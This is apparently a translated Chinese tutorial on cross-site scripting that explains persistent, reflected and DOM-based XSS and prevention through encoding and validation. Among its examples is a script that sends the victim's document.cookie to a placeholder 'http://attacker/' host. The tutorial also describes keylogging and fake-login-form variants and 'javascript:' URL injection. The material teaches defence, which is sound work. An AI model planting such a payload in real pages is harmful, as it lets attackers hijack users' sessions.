第一部分:概述
什么是XSS?
跨站点脚本(XSS)是一种代码注入攻击,它使攻击者可以在用户的浏览器中执行恶意JavaScript。
攻击者不会直接针对其受害者。 相反,他利用受害者访问的网站中的漏洞来使网站为他提供恶意JavaScript。 对于受害者的浏览器而言,恶意JavaScript似乎是网站的合法部分,因此该网站充当了攻击者的无意帮凶。
如何注入恶意JavaScript
攻击者在受害者的浏览器中运行其恶意JavaScript的唯一方法是将其注入受害者打开的网站页面。 如果如果网站部队用户输入进行过滤,则会发生这种情况,因为攻击者可以插入一个字符串,该字符串将被受害者的浏览器视为代码。
在下面的示例中,是一个简单的服务器端脚本用于显示网站上的最新评论:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
该脚本假定注释仅包含文本。 但是,由于直接包含了用户输入,因此攻击者可以提交以下评论:“
<html>
Latest comment:
<script>...</script>
</html>
当用户的浏览器加载页面时,它将执行
什么是恶意JavaScript?
最初,在受害者的浏览器中执行JavaScript的功能似乎并不是特别恶意。 毕竟,JavaScript在非常受限制的环境中运行,该环境对用户的文件和操作系统具有极其有限的访问权限。 实际上,您可以立即打开浏览器的JavaScript控制台并执行所需的任何JavaScript,并且不太可能对计算机造成任何损坏。
但是,当您考虑以下情况时,产生恶意的JavaScript可能性变得更加明显:
- JavaScript可以访问用户的某些敏感信息,例如cookie。
- JavaScript可以使用XMLHttpRequest和其他机制将具有任意内容的HTTP请求发送到任意目的地。
- JavaScript可以使用DOM操作方法对当前页面的HTML进行任意修改。
这些情况加在一起可能会导致非常严重的安全漏洞,我们将在下面进行解释。
恶意JavaScript的后果
攻击者可以执行以下类型的攻击:
- 窃取Cookie:攻击者可以使用
document.cookie访问与网站关联的受害者的cookie,将其发送到他自己的服务器,然后使用它们提取敏感信息,例如Session ID。 - 键盘记录:攻击者可以使用
addEventListener注册键盘事件侦听器,然后将用户的所有按键发送到自己的服务器,从而可能记录敏感信息,例如密码和信用卡号。 - 网络钓鱼:攻击者可以使用DOM操作将伪造的登录表单插入页面,将表单的action属性设置为以自己的服务器为目标,然后诱骗用户提交敏感信息。
第二部分:XSS攻击
XSS攻击中的参与者
在详细描述XSS攻击如何工作之前,我们需要定义XSS攻击所涉及的参与者。 通常,XSS攻击涉及三个参与者:网站,受害者和攻击者。
- **网站:**为请求HTML页面的用户提供HTML页面。 在我们的示例中,它位于
http:// website /。- 网站数据库
- 受害人: 网站的普通用户,用户使用浏览器从该网站请求页面。
- 攻击者:攻击者是网站的恶意用户,旨在通过利用网站中的XSS漏洞对受害者发起攻击。
- 攻击者的服务器:由攻击者控制的Web服务器,其唯一目的是窃取受害者的敏感信息。 在我们的示例中,它位于
http:// attacker /。
- 攻击者的服务器:由攻击者控制的Web服务器,其唯一目的是窃取受害者的敏感信息。 在我们的示例中,它位于
攻击场景示例
在此示例中,我们假定攻击者的最终目标是通过利用网站中的XSS漏洞来窃取受害者的cookie。 这可以通过让受害者的浏览器解析以下HTML代码来完成:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
该脚本将用户的浏览器导航到另一个URL,从而触发对攻击者服务器的HTTP请求。 该URL包括受害者的cookie作为查询参数,攻击者可以在请求到达其服务器时从请求中提取该cookie。 攻击者获取Cookie后,便可以使用它们来模拟受害者并发起进一步的攻击。
从现在开始,上面的HTML代码将被称为恶意字符串或恶意脚本。 重要的是要注意,字符串本身只有在最终在受害者的浏览器中被解析为HTML时才是恶意的。
示例攻击的工作方式
下图说明了攻击者如何执行此示例攻击:

- 攻击者使用网站的表单将恶意字符串插入网站的数据库。
- 受害者从网站上请求页面。
- 该网站在响应中包含来自数据库的恶意字符串,并将其发送给受害者。
- 受害者的浏览器在响应中执行恶意脚本,将受害者的cookie发送到攻击者的服务器。
XSS的类型
XSS攻击的目标是在受害者的浏览器中执行恶意JavaScript,有几种不同的方法可以实现该目标。 XSS攻击通常分为三种类型:
- Persistent XSS,恶意字符串保存到了数据库。
- Reflected XSS,其中恶意字符串源自受害者的请求。
- DOM-based XSS,该漏洞位于客户端代码而不是服务器端代码中。
前面的示例说明了持续的XSS攻击。 现在,我们将描述其他两种XSS攻击:Reflected XSS和DOM-based XSS。
Reflected XSS
在Reflected XSS攻击中,恶意字符串是受害者对网站的请求的一部分。 然后,网站将该恶意字符串包含在发回给用户的响应中。 下图说明了这种情况:

-
攻击者设计了一个包含恶意字符串的URL,并将其发送给受害者。
-
攻击者诱骗受害者从网站请求URL。
-
该网站在响应中包含来自URL的恶意字符串。
-
受害者的浏览器在响应中执行恶意脚本,将受害者的cookie发送到攻击者的服务器。
Reflected XSS是如何成功的呢?
首先,Reflected XSS似乎无害,因为它要求受害者请求包含恶意脚本的页面,受害者又不是傻子,为啥要害自己。
事实证明,至少有两种常见方法可以使受害者对自己发起Reflected XSS攻击:
- 如果攻击者以特定个人为目标,则攻击者可以将恶意URL发送给受害者(例如,使用电子邮件或即时消息),并诱使他访问受害者。
- 如果用户以大量人群为目标,则攻击者可以发布指向恶意URL的链接(例如,在其自己的网站或社交网络上),然后等待访问者单击它。
DOM-based XSS
DOM-based XSS是Persist XSS和Reflected XSS的变体。 在基于DOM的XSS攻击中,受害者的浏览器实际上不会解析恶意字符串,直到执行网站的合法JavaScript。 下图说明了反射的XSS攻击的这种情况:

-
攻击者设计了一个包含恶意字符串的URL,并将其发送给受害者。
-
攻击者诱骗受害者从网站请求URL。
-
该网站收到请求,但响应中不包含恶意字符串。
-
受害者的浏览器在响应中执行合法脚本,从而将恶意脚本插入页面。
-
受害者的浏览器执行插入页面的恶意脚本,将受害者的cookie发送到攻击者的服务器。
为什么DOM-based XSS与众不同?
在先前的持久性和反射性XSS攻击示例中,服务器将恶意脚本插入页面中,然后将其发送给受害者。 当受害者的浏览器收到响应时,它将恶意脚本视为页面合法内容的一部分,并在页面加载期间像其他任何脚本一样自动执行该恶意脚本。
但是,在基于DOM的XSS攻击的示例中,页面中没有插入任何恶意脚本。 页面加载期间自动执行的唯一脚本是页面的合法部分。 问题在于该合法脚本直接利用用户输入来将HTML添加到页面中。 由于恶意字符串是使用innerHTML插入到页面中的,因此将其解析为HTML,从而导致执行恶意脚本。
差异是细微但重要的:
-
在传统的XSS中,网页加载时会执行恶意JavaScript,并将其作为服务器发送的HTML的一部分。
-
在基于DOM的XSS中,由于页面的合法JavaScript以不安全的方式处理用户输入,因此恶意代码在页面加载后的某个时刻执行。
为什么基于DOM的XSS很重要
在前面的示例中,不需要JavaScript。 服务器可能自己生成了所有HTML。 如果服务器端代码没有漏洞,那么该网站将不受XSS的影响。
但是,随着Web应用程序变得越来越高级,越来越多的HTML由客户端(而不是服务器)上的JavaScript生成。 任何时候需要更改内容而不刷新整个页面时,都必须使用JavaScript执行更新。 最值得注意的是,在AJAX请求之后更新页面时就是这种情况。
这意味着XSS漏洞不仅会出现在您网站的服务器端代码中,而且还会出现在您网站的客户端JavaScript代码中。
服务器看不到基于DOM的XSS
在基于DOM的XSS中有一种特殊情况,其中恶意字符串永远不会发送到网站的服务器开始:当恶意字符串包含在URL的片段标识符中(#字符之后的任何字符)。 浏览器不会将URL的这一部分发送到服务器,因此该网站无法使用服务器端代码来访问它。 但是,客户端代码可以访问它,因此,通过不安全地处理它,可能会导致XSS漏洞。
这种情况不限于片段标识符。 服务器看不到的其他用户输入包括新的HTML5功能,例如LocalStorage和IndexedDB。
第三部分:防止XSS
预防XSS的方法
回想一下XSS攻击是一种代码注入:用户输入被错误地解释为恶意程序代码。 为了防止这种类型的代码注入,需要安全的输入处理。 对于Web开发人员,执行安全输入处理有两种根本不同的方法:
- 编码,转义用户输入,以便浏览器仅将其解释为数据,而不是代码。
- 验证,该过滤器过滤用户输入,以便浏览器将其解释为没有恶意命令的代码。
虽然这些是预防XSS的根本不同的方法,但是它们共享一些共同的功能,在使用这两种方法中的任何一个时,都必须理解这些功能:
- 语境 需要根据用户输入在页面中的插入位置来不同地执行安全输入处理。
- 入站出站 安全输入处理既可以在您的网站收到输入(入站)时执行,也可以在网站将输入插入页面(出站)之前进行。
- 客户端服务器 可以在客户端或服务器端执行安全输入处理,这两种情况在不同情况下都需要。
在详细解释编码和验证如何工作之前,我们将描述这些要点。
输入处理上下文
网页中有许多上下文可以插入用户输入。 对于每一个这些,都必须遵循特定的规则,以使用户输入不会脱离其上下文并被解释为恶意代码。 以下是最常见的上下文:

为什么Context很重要
在所描述的所有上下文中,如果在第一次编码或验证之前插入用户输入,就会出现XSS漏洞。 然后,攻击者只需插入该上下文的结束定界符并在其后加上恶意代码,便可以注入恶意代码。
例如,如果某个网站将用户输入直接插入HTML属性中,则攻击者将能够通过用引号将其输入开头来注入恶意脚本,如下所示:

可以通过简单地删除用户输入中的所有引号来防止这种情况,但一切都很好-但仅在这种情况下。 如果将相同的输入插入到另一个上下文中,则结束定界符将有所不同,并且可能进行注入。 因此,始终需要针对将要插入用户输入的上下文来调整安全输入处理。
入站/出站输入处理
本能地,似乎XSS可以通过在您的网站收到输入后立即对所有用户输入进行编码或验证来防止。这样,只要将任何恶意字符串包含在页面中,它们就应该已经被消除,并且生成HTML的脚本将不必担心安全输入处理。
问题是,如前所述,用户输入可以插入页面的多个上下文中。没有简单的方法来确定用户输入何时到达最终将被插入到哪个上下文中,并且通常需要将相同的用户输入插入到不同的上下文中。因此,依靠入站输入处理来防止XSS是一种非常脆弱的解决方案,容易出错。 (PHP弃用的“魔术引号”功能就是这种解决方案的一个示例。)
相反,出站输入处理应该是抵御XSS的主要防线,因为它可以考虑将用户输入插入到的特定上下文。话虽如此,入站验证仍然可以用来添加第二层保护,这将在后面描述。
在哪里执行输入安全处理
在大多数现代Web应用程序中,用户输入都是通过服务器端代码和客户端代码来处理的。 为了防止所有类型的XSS,必须在服务器端代码和客户端代码中都执行安全的输入处理。
为了防止传统的XSS,必须在服务器端代码中执行安全的输入处理。 这可以使用服务器支持的任何语言来完成。
为了防止服务器从未收到恶意字符串的基于DOM的XSS(例如前面所述的片段标识符攻击),必须在客户端代码中执行安全的输入处理。 这是使用JavaScript完成的。
既然我们已经说明了上下文为何重要,为什么入站和出站输入处理之间的区别很重要,以及为什么需要在客户端代码和服务器端代码中都执行安全输入处理,我们将继续说明 实际执行两种类型的安全输入处理(编码和验证)。
编码
编码是一种转义用户输入的行为,以便浏览器仅将其解释为数据,而不是代码。web开发中最容易识别的编码类型是HTML转义,它分别将<和>等字符转换为<;和>。
以下伪代码是如何使用HTML转义对用户输入进行编码,然后通过服务器端脚本将其插入页面的示例:
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"
如果用户输入的是字符串,则生成的HTML将如下所示:
<html>
Latest comment:
<script>...</script>
</html>
因为所有具有特殊含义的字符都已转义,浏览器不会将用户输入的任何部分解析为HTML。
客户端和服务器端代码中的编码
当你的客户端代码使用不同的编码语言时,总是使用JavaScript编码。
在服务器端代码中执行编码时,依赖于服务器端语言或框架中可用的函数。由于有大量可用的语言和框架,本教程将不介绍任何特定服务器端语言或框架的编码细节。不过,在编写服务器端代码时,熟悉JavaScript中客户端使用的编码函数也很有用。
客户端编码
在客户端使用JavaScript对用户输入进行编码时,有几个内置的方法和属性以上下文感知的方式自动编码所有数据:

上面提到的最后一个上下文(JavaScript值)不包括在这个列表中,因为JavaScript没有提供内置的编码方式来编码JavaScript源代码中的数据。
编码的局限性
即使使用编码,也有可能在某些上下文中输入恶意字符串。一个值得注意的例子是当用户输入用于提供URL时,如下面的示例所示:
document.querySelector('a').href = userInput
尽管为锚定元素的href属性赋值会自动对其进行编码,使其成为一个属性值,但这本身并不能阻止攻击者插入以“javascript:”开头的URL。当点击链接时,任何嵌入到URL中的JavaScript都将被执行。
当您实际希望用户定义页面代码的一部分时,编码也是一个不充分的解决方案。例如,用户可以在其中定义自定义HTML的用户配置文件页面。如果这个自定义HTML被编码,配置文件页面只能由纯文本组成。
在这种情况下,编码必须用验证来补充,我们将在下面描述。
验证
验证是过滤用户输入的行为,以便删除其中的所有恶意部分,而不必删除其中的所有代码。web开发中最容易识别的验证类型之一是允许某些HTML元素(如和),但不允许其他元素(如
- 分类策略: 用户输入可以使用黑名单或白名单进行分类。
- 验证结果: 可以拒绝或清除被标识为恶意的用户输入。
跨站点脚本(XSS)是一种常见的网络安全漏洞,攻击者通过注入恶意JavaScript,利用用户信任的网站对用户浏览器进行攻击。本文深入探讨了XSS的原理、类型和后果,包括反射型XSS和DOM-based XSS,并提供了防止XSS攻击的策略,如输入处理上下文、编码和验证,以及内容安全策略(CSP)的使用。
417

被折叠的 条评论
为什么被折叠?



